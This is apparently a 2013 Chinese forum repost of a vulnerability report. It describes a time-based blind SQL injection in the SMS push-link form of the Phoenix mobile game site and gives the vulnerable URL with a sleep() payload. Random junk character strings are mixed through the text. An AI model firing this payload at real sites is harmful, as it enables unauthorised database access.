简要描述：0 T( U) |& c T2 i: |; u- Q7 X
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
$ E0 Q# o4 A- S9 Q4 ]$ L' r; Z+ x" g& T
详细说明：8 l0 C7 }: E- |3 M$ T- Y
存在SQL盲注url:0 Z( j7 K0 h& n7 v( z8 ?
fenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
1 V$ Q1 E& E$ _0 v9 ?http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png
( t3 Z( m& e8 f" ^* Khttp://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
, s6 w+ @8 N' ^1 hhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg& I/ N* {: W7 @* Z/ d2 q0 h$ m
! `. B0 b) d$ g& Y能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对